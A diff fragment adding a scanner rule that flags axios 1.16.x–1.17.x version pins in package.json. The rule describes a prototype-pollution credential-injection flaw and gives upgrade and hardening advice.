+        description: "axios 1.15.2 through 1.17.x reads inherited Object.prototype.username/.password when a request passes an own auth object that omits username or password (a common pattern like auth: opts.auth || {}). If a separate prototype-pollution primitive exists anywhere in the host process, an attacker who set Object.prototype.username/.password controls the outbound Authorization: Basic header on every affected axios call — credential injection into requests the app didn't intend to authenticate that way. Fixed in 1.18.0. Distinct from VG1091 (the proxy-gadget CVE, CVE-2026-44494): VG1091 already flags the 1.15.2-1.15.x window for that separate bug, so this rule covers only the residual 1.16.0-1.17.x range to avoid double-firing on the same pin.",
+        pattern: /["']axios["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:1\.16\.\d+|1\.17\.\d+)(?![0-9])["']/g,
+        languages: ["json"],
+        fix: "Upgrade axios to 1.18.0 or later: npm install axios@latest. As defence-in-depth, never pass an auth object that can be an empty/partial own object (auth: opts.auth || {}) — validate that both username and password are present before constructing the request, and freeze Object.prototype at startup.",
+        fixCode: '// package.json\n"axios": "^1.18.0"  // or latest\n\n// Defence-in-depth — don\'t fall through to a polluted prototype\nconst auth = opts.auth?.username && opts.auth?.password ? opts.auth : undefined;\nObject.freeze(Object.prototype);',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "PCI-DSS:Req3.6"],
+    },
+];